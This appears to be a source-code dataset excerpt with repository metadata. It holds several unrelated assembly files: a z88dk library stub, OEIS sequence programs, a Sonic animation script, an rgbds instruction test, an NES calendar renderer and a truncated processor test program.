35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
34.563158
2,999
0.650525
b1fda984f5c8f3b73f7e582cbb76655a3c574a2c
134
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int ffs_fastcall(int i) SECTION code_clib SECTION code_string PUBLIC _ffs_fastcall EXTERN asm_ffs defc _ffs_fastcall = asm_ffs
11.166667
28
0.813433
188d4d6ec95e18e91f638f9156a37cc4d7130c03
338
asm
Assembly
programs/oeis/211/A211668.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/211/A211668.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/211/A211668.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A211668: Number of iterations sqrt(sqrt(sqrt(...(n)...))) such that the result is < 3. ; 0,0,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3 mov $1,8 lpb $0,1 div $0,$1 add $0,1 add $1,3 lpe sub $1,8 div $1,3
28.166667
173
0.538462
e1124a6da43b3e2a315bf483a85dd210a2681258
602
asm
Assembly
oeis/067/A067558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/067/A067558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/067/A067558.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A067558: Sum of squares of proper divisors of n. ; 0,1,1,5,1,14,1,21,10,30,1,66,1,54,35,85,1,131,1,146,59,126,1,274,26,174,91,266,1,400,1,341,131,294,75,615,1,366,179,610,1,736,1,626,341,534,1,1106,50,755,299,866,1,1184,147,1114,371,846,1,1860,1,966,581,1365,195,1744,1,1466,539,1600,1,2551,1,1374,885,1826,171,2416,1,2466,820,1686,1,3444,315,1854,851,2626,1,3730,219,2666,971,2214,387,4434,1,2651,1301,3671 mov $1,$0 mov $4,$0 cmp $4,0 add $0,$4 div $1,$0 add $0,1 mov $2,$0 sub $0,1 lpb $0 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,2 add $1,$3 lpe mov $0,$1
26.173913
358
0.642857
c520d2eccdc02cbc48319b3443640dc59caffbc5
451
asm
Assembly
_anim/Try Again & End Eggman.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
9
2021-01-15T13:47:53.000Z
2022-01-17T15:33:55.000Z
_anim/Try Again & End Eggman.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
7
2021-01-14T02:18:48.000Z
2021-03-24T15:44:30.000Z
_anim/Try Again & End Eggman.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
2
2021-01-14T13:14:26.000Z
2021-01-29T17:46:04.000Z
; --------------------------------------------------------------------------- ; Animation script - Eggman on the "TRY AGAIN" and "END" screens ; --------------------------------------------------------------------------- Ani_EEgg: dc.w @tryagain1-Ani_EEgg dc.w @tryagain2-Ani_EEgg dc.w @end-Ani_EEgg @tryagain1: dc.b 5, 0, afRoutine, 1 @tryagain2: dc.b 5, 2, afRoutine, 3 @end: dc.b 7, 4, 5, 6, 5, 4, 5, 6, 5, 4, 5, 6, 5, 7, 5, 6, 5, afEnd even
45.1
77
0.419069
84e5f301ba28298701d6178b29fee1276a2ea95b
3,760
asm
Assembly
test/link/all-instructions.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
265
2020-09-15T11:56:31.000Z
2022-03-30T23:14:29.000Z
test/link/all-instructions.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
365
2020-09-18T15:43:06.000Z
2022-03-28T16:22:26.000Z
test/link/all-instructions.asm
michealccc/rgbds
b51e1c7c2c4ce2769f01e016967d0115893a7a88
[ "MIT" ]
45
2020-09-16T10:44:57.000Z
2022-03-29T07:26:15.000Z
SECTION "All instructions", ROM0[0] ; 8-bit Arithmetic and Logic Instructions alu_instruction_list: MACRO \1 a,a \1 a,b \1 a,c \1 a,d \1 a,$DB \1 a,e \1 a,h \1 a,[hl] \1 a,l ENDM alu_instruction_list adc alu_instruction_list add alu_instruction_list and alu_instruction_list cp alu_instruction_list or alu_instruction_list sbc alu_instruction_list sub alu_instruction_list xor incdec_8bit_instruction_list: MACRO \1 a \1 b \1 c \1 d \1 e \1 h \1 [hl] \1 l ENDM incdec_8bit_instruction_list inc incdec_8bit_instruction_list dec ; 16-bit Arithmetic Instructions add hl,bc add hl,de add hl,hl add hl,sp inc bc inc de inc hl inc sp dec bc dec de dec hl dec sp ; Bit Operations Instructions bitop_u3_instruction_list: MACRO NBIT SET 0 REPT 8 \1 NBIT,a \1 NBIT,b \1 NBIT,c \1 NBIT,d \1 NBIT,e \1 NBIT,h \1 NBIT,[hl] \1 NBIT,l NBIT SET NBIT + 1 ENDR ENDM bitop_u3_instruction_list bit bitop_u3_instruction_list res bitop_u3_instruction_list set bitop_noarg_instruction_list: MACRO \1 a \1 b \1 c \1 d \1 e \1 h \1 [hl] \1 l ENDM bitop_noarg_instruction_list swap ; Bit Shift Instructions rla rlca rra rrca bitop_noarg_instruction_list rl bitop_noarg_instruction_list rlc bitop_noarg_instruction_list rr bitop_noarg_instruction_list rrc bitop_noarg_instruction_list sla bitop_noarg_instruction_list sra bitop_noarg_instruction_list srl ; Load Instructions ld_r8_x_instruction_list: MACRO ld \1,a ld \1,b ld \1,c ld \1,d ld \1,$DB ld \1,e ld \1,h ld \1,l ENDM ld_r8_x_instruction_list a ld_r8_x_instruction_list b ld_r8_x_instruction_list c ld_r8_x_instruction_list d ld_r8_x_instruction_list e ld_r8_x_instruction_list h ld_r8_x_instruction_list [hl] ld_r8_x_instruction_list l ld_x_r8_instruction_list: MACRO ld a,\1 ld b,\1 ld c,\1 ld d,\1 ld e,\1 ld h,\1 ld l,\1 ENDM ld_x_r8_instruction_list a ld_x_r8_instruction_list b ld_x_r8_instruction_list c ld_x_r8_instruction_list d ld_x_r8_instruction_list e ld_x_r8_instruction_list h ld_x_r8_instruction_list [hl] ld_x_r8_instruction_list l ld bc,$ABCD ld de,$ABCD ld hl,$ABCD ld sp,$ABCD ld [bc],a ld [de],a ld [hl],a ld [$ABCD],a ldh [$ff00+$DB],a ld [$ff00+c],a ld [$ff00 + c],a ldh [c],a ld a,[bc] ld a,[de] ld a,[hl] ld a,[$ABCD] ldh a,[$ff00+$DB] ld a,[$ff00+c] ld a,[$ff00 + c] ldh a,[c] ld [hl+],a ld [hli],a ld [hl-],a ld [hld],a ld a,[hl+] ld a,[hli] ld a,[hl-] ld a,[hld] ; Jumps and Subroutines call $ABCD call z,$ABCD call nz,$ABCD call c,$ABCD call nc,$ABCD jp hl jp $ABCD jp z,$ABCD jp nz,$ABCD jp c,$ABCD jp nc,$ABCD jrlabel: jr jrlabel jr z,jrlabel jr nz,jrlabel jr c,jrlabel jr nc,jrlabel ret ret z ret nz ret c ret nc reti rst $00 rst $08 rst $10 rst $18 rst $20 rst $28 rst $30 rst $38 ; Stack Operations Instructions add sp,$DB ld [$ABCD],sp ld hl,sp+$DB ld hl,sp-$25 ld sp,hl pop af pop bc pop de pop hl push af push bc push de push hl ; Miscellaneous Instructions ccf cpl daa di ei halt nop scf stop FOR BYTE, 256 stop BYTE ENDR
15.04
45
0.586436
875be34d5caaf060cb37dc5e37aec00c920713fc
14,048
asm
Assembly
src/calendars.asm
ViGrey/calendar_dot_exe
6c19b273570f8bdb9b2ea161ede841895183a7d6
[ "BSD-2-Clause" ]
2
2021-01-01T00:41:54.000Z
2021-01-19T01:39:47.000Z
src/calendars.asm
ViGrey/calendar_dot_exe
6c19b273570f8bdb9b2ea161ede841895183a7d6
[ "BSD-2-Clause" ]
null
null
null
src/calendars.asm
ViGrey/calendar_dot_exe
6c19b273570f8bdb9b2ea161ede841895183a7d6
[ "BSD-2-Clause" ]
null
null
null
; Copyright (C) 2020-2021, Vi Grey ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ; OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ; SUCH DAMAGE. CalendarTypes: .byte $88, $89, $8A, $8B, $8C, $E1, " "; Gregorian .byte $E1, $8D, $8E, $8F, $E1, $E1, " "; Julian .byte $E1, $9B, $9C, $8C, $E1, $E1, " "; Roman .byte $C8, $C9, $CA, $CB, $E1, $E1, " "; Parker A .byte $C8, $C9, $CA, $CC, $E1, $E1, " "; Parker B .byte $C8, $C9, $CA, $CD, $E1, $E1, " "; Parker C DrawCalendarScreen: lda #$01 sta updateDisabled lda #$FF sta controller sta controllerLastFrame lda #$00 sta needDraw jsr WaitForNewFrame jsr BlackPalette lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr Blank lda #SCREEN_CALENDAR sta screen jsr ClearSprites jsr ClearPPURAM jsr SetPalettes jsr UpdateDone jsr ReadThenResetGraphics jsr DrawCalendarSkeleton jsr ResetScroll jsr DrawCalendar jsr ResetScroll lda #$00 sta updateDisabled rts DrawCalendarType: lda calendar asl asl asl tax lda PPU_STATUS lda #$20 lda PPU_ADDR lda #$AF lda PPU_ADDR DrawCalendarTypeLoop: lda CalendarTypes, X sta PPU_DATA inx txa and #%00000111 cmp #%00000101 bne DrawCalendarTypeLoop rts SetCalendarTypeTmp: lda calendar cmp #CALENDAR_PARKER_A beq SetCalendarTypeTmpGregorian cmp #CALENDAR_PARKER_B beq SetCalendarTypeTmpJulian cmp #CALENDAR_PARKER_C beq SetCalendarTypeTmpJulian SetCalendarTypeTmpNotParker: cmp #CALENDAR_ROMAN bne SetCalendarTypeTmpNotRoman lda era cmp #ERA_BC beq SetCalendarTypeTmpJulian lda year ora (year + 1) bne SetCalendarTypeTmpGregorian lda (year + 2) cmp #$02 bcs SetCalendarTypeTmpGregorian cmp #$01 bcc SetCalendarTypeTmpJulian lda (year + 3) cmp #$06 bcs SetCalendarTypeTmpGregorian cmp #$05 bcc SetCalendarTypeTmpJulian lda (year + 4) cmp #$09 bcs SetCalendarTypeTmpGregorian cmp #$08 bcc SetCalendarTypeTmpJulian lda (year + 5) cmp #$03 bcs SetCalendarTypeTmpGregorian cmp #$02 bcc SetCalendarTypeTmpJulian lda month cmp #MONTH_NOVEMBER bcs SetCalendarTypeTmpGregorian jmp SetCalendarTypeTmpJulian SetCalendarTypeTmpNotRoman: cmp #CALENDAR_JULIAN bne SetCalendarTypeTmpGregorian SetCalendarTypeTmpJulian: lda #CALENDAR_JULIAN sta calendarTmp rts SetCalendarTypeTmpGregorian: lda #CALENDAR_GREGORIAN sta calendarTmp rts DrawMonthTop: ldy graphicsPointer lda month asl asl asl asl sta tmp DrawMonthTopLoop: ldx tmp lda Months, X sec sbc #$40 asl tax lda Alphabet, X sta graphics, Y iny inc tmp lda tmp and #%00001111 cmp #%00001010 bne DrawMonthTopLoop sty graphicsPointer rts DrawMonthBottom: ldy graphicsPointer lda month asl asl asl asl sta tmp DrawMonthBottomLoop: ldx tmp lda Months, X sec sbc #$40 asl tax inx lda Alphabet, X sta graphics, Y iny inc tmp lda tmp and #%00001111 cmp #%00001010 bne DrawMonthBottomLoop sty graphicsPointer rts DrawCalendarTypeTop: ldy graphicsPointer ldx #$06 lda #$E1 DrawCalendarTypeTopLoop: sta graphics, Y iny dex bne DrawCalendarTypeTopLoop sty graphicsPointer rts DrawCalendarTypeBottom: ldy graphicsPointer lda calendar asl asl asl tax DrawCalendarTypeBottomLoop: lda CalendarTypes, X sta graphics, Y iny inx txa and #%00000111 cmp #%00000110 bne DrawCalendarTypeBottomLoop sty graphicsPointer rts DrawYearTop: ldy graphicsPointer lda era cmp #ERA_AD bne DrawYearTopNotAD lda #$E1 sta graphics, Y iny DrawYearTopNotAD: ldx #$00 DrawYearTopBlankLoop: stx tmp lda year, X bne DrawYearTopLoop lda #$E1 sta graphics, Y iny inx cpx #$06 bne DrawYearTopBlankLoop DrawYearTopLoop: ldx tmp lda year, X asl tax lda Numbers, X sta graphics, Y iny inc tmp lda tmp cmp #$06 bne DrawYearTopLoop lda era cmp #ERA_BC bne DrawYearTopDone lda #$E1 sta graphics, Y iny DrawYearTopDone: sty graphicsPointer rts DrawYearBottom: ldy graphicsPointer ldx #$00 DrawYearBottomBlankLoop: stx tmp lda year, X bne DrawYearBottomContinue lda #$E1 sta graphics, Y iny inx cpx #$06 bne DrawYearBottomBlankLoop DrawYearBottomContinue: lda era cmp #ERA_AD bne DrawYearBottomLoop lda #$9A sta graphics, Y iny DrawYearBottomLoop: ldx tmp lda year, X asl tax inx lda Numbers, X sta graphics, Y iny inc tmp lda tmp cmp #$06 bne DrawYearBottomLoop lda era cmp #ERA_BC bne DrawYearBottomDone lda #$99 sta graphics, Y iny DrawYearBottomDone: sty graphicsPointer rts DrawCalendarTop: ldy graphicsPointer lda #$00 sta graphics, Y iny lda #$FE sta graphics, Y iny lda #$20 sta graphics, Y iny lda #$85 sta graphics, Y iny sty graphicsPointer jsr DrawMonthTop jsr DrawCalendarTypeTop jsr DrawYearTop ldy graphicsPointer lda #$00 sta graphics, Y iny sta graphics, Y iny sty graphicsPointer jsr DrawMonthBottom jsr DrawCalendarTypeBottom jsr DrawYearBottom ldy graphicsPointer lda #$00 sta graphics, Y iny lda #$FF sta graphics, Y iny sty graphicsPointer rts InitializeDayDraw: lda #$20 sta ppuAddr lda #$E3 ;lda #$C3 sta (ppuAddr + 1) lda #$00 sta dayDraw lda #$01 sec sbc dayOffset bpl InitializeDayDrawDone dec dayDraw clc adc #$0A InitializeDayDrawDone: sta (dayDraw + 1) rts DrawCalendarDaysRow: jsr IncPPUAddr1Row jsr IncPPUAddr1Row ;jsr IncPPUAddr1Row ldy graphicsPointer lda #$00 sta graphics, Y iny lda #$FE sta graphics, Y iny lda ppuAddr sta graphics, Y iny lda (ppuAddr + 1) sta graphics, Y iny jsr DrawCalendarDaysRowTop dey lda #$00 sta graphics, Y iny sta graphics, Y iny jsr DrawCalendarDaysRowBottom dey sty graphicsPointer rts DrawCalendarDaysRowTop: lda #$00 sta dayDrawOffset DrawCalendarDaysRowTopDrawDaysLoop: jsr CheckMacrobiusOctober1582 cpx #$01 bne DrawCalendarDaysRowTopDrawDaysLoopNotMacrobius lda dayDraw bne DrawCalendarDaysRowTopDrawDaysLoopNotMacrobius lda (dayDraw + 1) cmp #$05 bne DrawCalendarDaysRowTopDrawDaysLoopNotMacrobius lda #$01 sta dayDraw DrawCalendarDaysRowTopDrawDaysLoopNotMacrobius: lda dayDrawOffset cmp #$07 beq DrawCalendarDaysRowTopDrawDaysDone lda #$E1 sta graphics, Y iny lda dayDraw ora (dayDraw + 1) beq DrawCalendarDaysRowTopDrawDaysLoopIsOverflow lda month asl tax lda DaysPerMonthTable, X cmp dayDraw bcc DrawCalendarDaysRowTopDrawDaysLoopIsOverflow bne DrawCalendarDaysRowTopDrawDaysLoopNotOverflow inx lda DaysPerMonthTable, X cmp (dayDraw + 1) bcs DrawCalendarDaysRowTopDrawDaysLoopNotOverflow lda month cmp #MONTH_FEBRUARY bne DrawCalendarDaysRowTopDrawDaysLoopIsOverflow lda leapYear bne DrawCalendarDaysRowTopDrawDaysLoopNotOverflow DrawCalendarDaysRowTopDrawDaysLoopIsOverflow: lda #$E1 sta graphics, Y iny sta graphics, Y iny jmp DrawCalendarDaysRowTopDrawDaysLoopDayDone DrawCalendarDaysRowTopDrawDaysLoopNotOverflow: lda dayDraw beq DrawCalendarDaysRowTopDrawDaysLoopUnder10 asl tax lda Numbers, X sta graphics, Y iny jmp DrawCalendarDaysRowTopDrawDaysLoopContinue DrawCalendarDaysRowTopDrawDaysLoopUnder10: lda #$E1 sta graphics, Y iny DrawCalendarDaysRowTopDrawDaysLoopContinue: lda (dayDraw + 1) asl tax lda Numbers, X sta graphics, Y iny DrawCalendarDaysRowTopDrawDaysLoopDayDone: lda #$E2 sta graphics, Y iny inc dayDrawOffset inc (dayDraw + 1) lda (dayDraw + 1) cmp #$0A beq DrawCalendarDaysRowTopDrawDaysIncDayDraw10s jmp DrawCalendarDaysRowTopDrawDaysLoop DrawCalendarDaysRowTopDrawDaysIncDayDraw10s: inc dayDraw lda #$00 sta (dayDraw + 1) jmp DrawCalendarDaysRowTopDrawDaysLoop DrawCalendarDaysRowTopDrawDaysDone: rts DrawCalendarDaysRowBottom: lda #$00 sta dayDrawOffset lda (dayDraw + 1) sec sbc #$07 sta (dayDraw + 1) bpl DrawCalendarDaysRowBottomDrawDaysLoop dec dayDraw clc adc #$0A sta (dayDraw + 1) DrawCalendarDaysRowBottomDrawDaysLoop: jsr CheckMacrobiusOctober1582 cpx #$01 bne DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius lda dayDraw bne DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius05 lda (dayDraw + 1) cmp #$05 bne DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius lda #$01 sta dayDraw jmp DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius05: lda (dayDraw + 1) bne DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius lda dayDraw cmp #$01 bne DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius dec dayDraw DrawCalendarDaysRowBottomDrawDaysLoopNotMacrobius: lda dayDrawOffset cmp #$07 beq DrawCalendarDaysRowBottomDrawDaysDone lda #$E1 sta graphics, Y iny lda dayDraw ora (dayDraw + 1) beq DrawCalendarDaysRowBottomDrawDaysLoopIsOverflow lda month asl tax lda DaysPerMonthTable, X cmp dayDraw bcc DrawCalendarDaysRowBottomDrawDaysLoopIsOverflow bne DrawCalendarDaysRowBottomDrawDaysLoopNotOverflow inx lda DaysPerMonthTable, X cmp (dayDraw + 1) bcs DrawCalendarDaysRowBottomDrawDaysLoopNotOverflow lda month cmp #MONTH_FEBRUARY bne DrawCalendarDaysRowBottomDrawDaysLoopIsOverflow lda leapYear bne DrawCalendarDaysRowBottomDrawDaysLoopNotOverflow DrawCalendarDaysRowBottomDrawDaysLoopIsOverflow: lda #$E1 sta graphics, Y iny sta graphics, Y iny jmp DrawCalendarDaysRowBottomDrawDaysLoopDayDone DrawCalendarDaysRowBottomDrawDaysLoopNotOverflow: lda dayDraw beq DrawCalendarDaysRowBottomDrawDaysLoopUnder10 asl tax inx lda Numbers, X sta graphics, Y iny jmp DrawCalendarDaysRowBottomDrawDaysLoopContinue DrawCalendarDaysRowBottomDrawDaysLoopUnder10: lda #$E1 sta graphics, Y iny DrawCalendarDaysRowBottomDrawDaysLoopContinue: lda (dayDraw + 1) asl tax inx lda Numbers, X sta graphics, Y iny DrawCalendarDaysRowBottomDrawDaysLoopDayDone: lda #$E2 sta graphics, Y iny inc dayDrawOffset inc (dayDraw + 1) lda (dayDraw + 1) cmp #$0A beq DrawCalendarDaysRowBottomDrawDaysIncDayDraw10s jmp DrawCalendarDaysRowBottomDrawDaysLoop DrawCalendarDaysRowBottomDrawDaysIncDayDraw10s: inc dayDraw lda #$00 sta (dayDraw + 1) jmp DrawCalendarDaysRowBottomDrawDaysLoop DrawCalendarDaysRowBottomDrawDaysDone: rts DrawCalendar: lda #$00 sta needDraw jsr CalculateCalendar lda #$00 sta needDraw jsr DrawCalendarTop lda #$01 sta needDraw jsr WaitForNewFrame jsr DrawDaysNormal rts DrawDaysNormal: lda #$01 sta updateDisabled lda #$00 sta needDraw jsr HandleParkerRedLetterDays lda #$00 jsr DrawRedLetterAttr lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr InitializeDayDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta needDraw jsr DrawCalendarDaysRow lda #$01 sta needDraw jsr WaitForNewFrame lda #$00 sta updateDisabled rts CalculateCalendar: jsr YearToYearEquivalent jsr SetCalendarTypeTmp lda #$00 sta dayOffset jsr ParkerEraBCYearDec jsr IsLeapYear jsr IsLeapYearGregorian jsr GetGregorianCenturyOffset jsr GetJulianCenturyOffset jsr DetermineIfMacrobiusError jsr HandleParkerA jsr HandleParkerB_C jsr ParkerEraBCYearInc jsr GetMonthOffset lda #$00 tax sta tmp sta (tmp + 1) jsr CompareTmpToYear jsr TmpDiv4 clc adc dayOffset sta dayOffset jsr ModifyMonthsLeapYearOffset jsr DayOffsetMod7 rts CalendarTiles: .incbin "graphics/calendar.nam" PaletteValues: .incbin "graphics/palettes.pal"
20.15495
76
0.711418
21a4d215894ca4b917b91ae181217d9e87cb5605
1,258
asm
Assembly
programs/oeis/101/A101882.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/101/A101882.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/101/A101882.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A101882: Write three numbers, skip one, write three, skip two, write three, skip three... and so on. ; 1,2,3,5,6,7,10,11,12,16,17,18,23,24,25,31,32,33,40,41,42,50,51,52,61,62,63,73,74,75,86,87,88,100,101,102,115,116,117,131,132,133,148,149,150,166,167,168,185,186,187,205,206,207,226,227,228,248,249,250,271,272,273,295,296,297,320,321,322,346,347,348,373,374,375,401,402,403,430,431,432,460,461,462,491,492,493,523,524,525,556,557,558,590,591,592,625,626,627,661,662,663,698,699,700,736,737,738,775,776,777,815,816,817,856,857,858,898,899,900,941,942,943,985,986,987,1030,1031,1032,1076,1077,1078,1123,1124,1125,1171,1172,1173,1220,1221,1222,1270,1271,1272,1321,1322,1323,1373,1374,1375,1426,1427,1428,1480,1481,1482,1535,1536,1537,1591,1592,1593,1648,1649,1650,1706,1707,1708,1765,1766,1767,1825,1826,1827,1886,1887,1888,1948,1949,1950,2011,2012,2013,2075,2076,2077,2140,2141,2142,2206,2207,2208,2273,2274,2275,2341,2342,2343,2410,2411,2412,2480,2481,2482,2551,2552,2553,2623,2624,2625,2696,2697,2698,2770,2771,2772,2845,2846,2847,2921,2922,2923,2998,2999,3000,3076,3077,3078,3155,3156,3157,3235,3236,3237,3316,3317,3318,3398,3399,3400,3481,3482,3483,3565,3566,3567,3650,3651,3652,3736 mov $1,$0 div $1,3 mov $2,$0 add $2,$1 bin $1,2 add $1,$2 add $1,1
114.363636
1,086
0.750397
daafa27e731e404ec2ce19626d23024e6fd6fa15
4,464
asm
Assembly
sw/552tests/rand_simple/t_1_jr.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/rand_simple/t_1_jr.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/rand_simple/t_1_jr.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// seed 1 jal 0 // icount 0 addi r0, r7, 0 // icount 1 ror r5, r2, r3 // icount 2 jalr r0, 20 // icount 3 nop // icount 4 nop // icount 5 nop // icount 6 nop // icount 7 nop // icount 8 nop // icount 9 nop // icount 10 nop // icount 11 nop // icount 12 nop // icount 13 jal 0 // icount 14 addi r0, r7, 0 // icount 15 srl r1, r6, r4 // icount 16 jalr r0, 24 // icount 17 nop // icount 18 nop // icount 19 nop // icount 20 nop // icount 21 nop // icount 22 nop // icount 23 nop // icount 24 nop // icount 25 nop // icount 26 nop // icount 27 nop // icount 28 nop // icount 29 jal 0 // icount 30 addi r0, r7, 0 // icount 31 andn r2, r6, r7 // icount 32 jalr r0, 18 // icount 33 nop // icount 34 nop // icount 35 nop // icount 36 nop // icount 37 nop // icount 38 nop // icount 39 nop // icount 40 nop // icount 41 nop // icount 42 jal 0 // icount 43 addi r0, r7, 0 // icount 44 sle r3, r4, r5 // icount 45 jalr r0, 26 // icount 46 nop // icount 47 nop // icount 48 nop // icount 49 nop // icount 50 nop // icount 51 nop // icount 52 nop // icount 53 nop // icount 54 nop // icount 55 nop // icount 56 nop // icount 57 nop // icount 58 nop // icount 59 jal 0 // icount 60 addi r0, r7, 0 // icount 61 rol r5, r3, r7 // icount 62 jalr r0, 20 // icount 63 nop // icount 64 nop // icount 65 nop // icount 66 nop // icount 67 nop // icount 68 nop // icount 69 nop // icount 70 nop // icount 71 nop // icount 72 nop // icount 73 jal 0 // icount 74 addi r0, r7, 0 // icount 75 seq r4, r0, r3 // icount 76 jalr r0, 18 // icount 77 nop // icount 78 nop // icount 79 nop // icount 80 nop // icount 81 nop // icount 82 nop // icount 83 nop // icount 84 nop // icount 85 nop // icount 86 jal 0 // icount 87 addi r0, r7, 0 // icount 88 slt r5, r7, r4 // icount 89 jalr 